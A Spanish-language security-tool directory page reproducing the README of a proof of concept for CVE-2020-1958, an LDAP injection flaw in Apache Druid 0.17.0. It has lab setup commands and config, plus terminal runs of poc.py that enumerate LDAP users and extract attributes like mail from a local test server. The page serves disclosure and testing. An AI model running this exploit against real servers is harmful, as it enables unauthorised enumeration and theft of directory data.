Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-1958 — CVE-2020-1958 PoC | Kitploit
Herramientas/GitHubGitHub/ggolawski/cve-2020-1958
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónAutenticación
GitHubggolawski/cve-2020-1958

CVE-2020-1958

CVE-2020-1958 PoC

Ver Repositorio
218hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC de CVE-2020-1958

CVE-2020-1958 es una vulnerabilidad de inyección LDAP de alta gravedad en Apache Druid 0.17.0. Permite a un atacante omitir el filtro de búsqueda LDAP y recuperar cualquier valor de atributo LDAP de usuarios que existan en el servidor LDAP.

Del aviso oficial de Apache Druid:

Cuando la autenticación LDAP está habilitada:

  • Los llamantes de las API de Druid con un conjunto válido de credenciales LDAP pueden omitir la barrera del filtro credentialsValidator.userSearch que determina si un usuario LDAP válido está autorizado para autenticarse en Druid. Todavía están sujetos a las comprobaciones de autorización basadas en roles, si están configuradas.
  • Los llamantes de las API de Druid pueden recuperar cualquier valor de atributo LDAP de usuarios que existan en el servidor LDAP, siempre que esa información sea visible para el servidor Druid. Esta divulgación de información no requiere que el llamante sea un usuario LDAP válido.

PoC

El script poc.py demuestra cómo un atacante no autorizado puede enumerar usuarios en el servidor LDAP integrado con Druid y obtener el valor de cualquier atributo de cualquier usuario.

Servidor de prueba local de Druid

Omita este paso si ya tiene un servidor Druid con autenticación LDAP habilitada.

  1. Descargue Druid 0.17.0 y extráigalo

    root@kitploit:~
    $ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
    $ tar -zxf apache-druid-0.17.0-bin.tar.gz
    
    
  2. Habilite y configure la autenticación LDAP en conf/druid/single-server/nano-quickstart/_common/common.runtime.properties

    • Habilite la extensión druid-basic-security

      Localice druid.extensions.loadList y añada druid-basic-security:

      root@kitploit:~
      druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
      
    • Configure la autenticación LDAP

      Añada lo siguiente al final del archivo:

      root@kitploit:~
      druid.auth.authenticatorChain=["ldap"]
      
      druid.auth.authenticator.ldap.type=basic
      druid.auth.authenticator.ldap.initialAdminPassword=password
      druid.auth.authenticator.ldap.initialInternalClientPassword=password
      druid.auth.authenticator.ldap.credentialsValidator.type=ldap
      druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
      druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
      druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
      druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
      druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
      
      druid.escalator.type=basic
      druid.escalator.internalClientUsername=user1
      druid.escalator.internalClientPassword=user1
      druid.escalator.authorizerName=MyAuthorizer
      
      druid.auth.authorizers=["MyAuthorizer"]
      druid.auth.authorizer.MyAuthorizer.type=basic
      druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
      druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
      druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
      
  3. Ejecute el servidor OpenLDAP

    root@kitploit:~
    $ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
    
  4. Importe los usuarios de users.ldif a LDAP

    root@kitploit:~
    $ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
    
  5. Ejecute el servidor Druid

    root@kitploit:~
    $ bin/start-nano-quickstart
    

Enumerar usuarios

asciicast

root@kitploit:~
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4

Recuperar valores de atributos LDAP del usuario admin1

asciicast

root@kitploit:~
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last
Descargar herramienta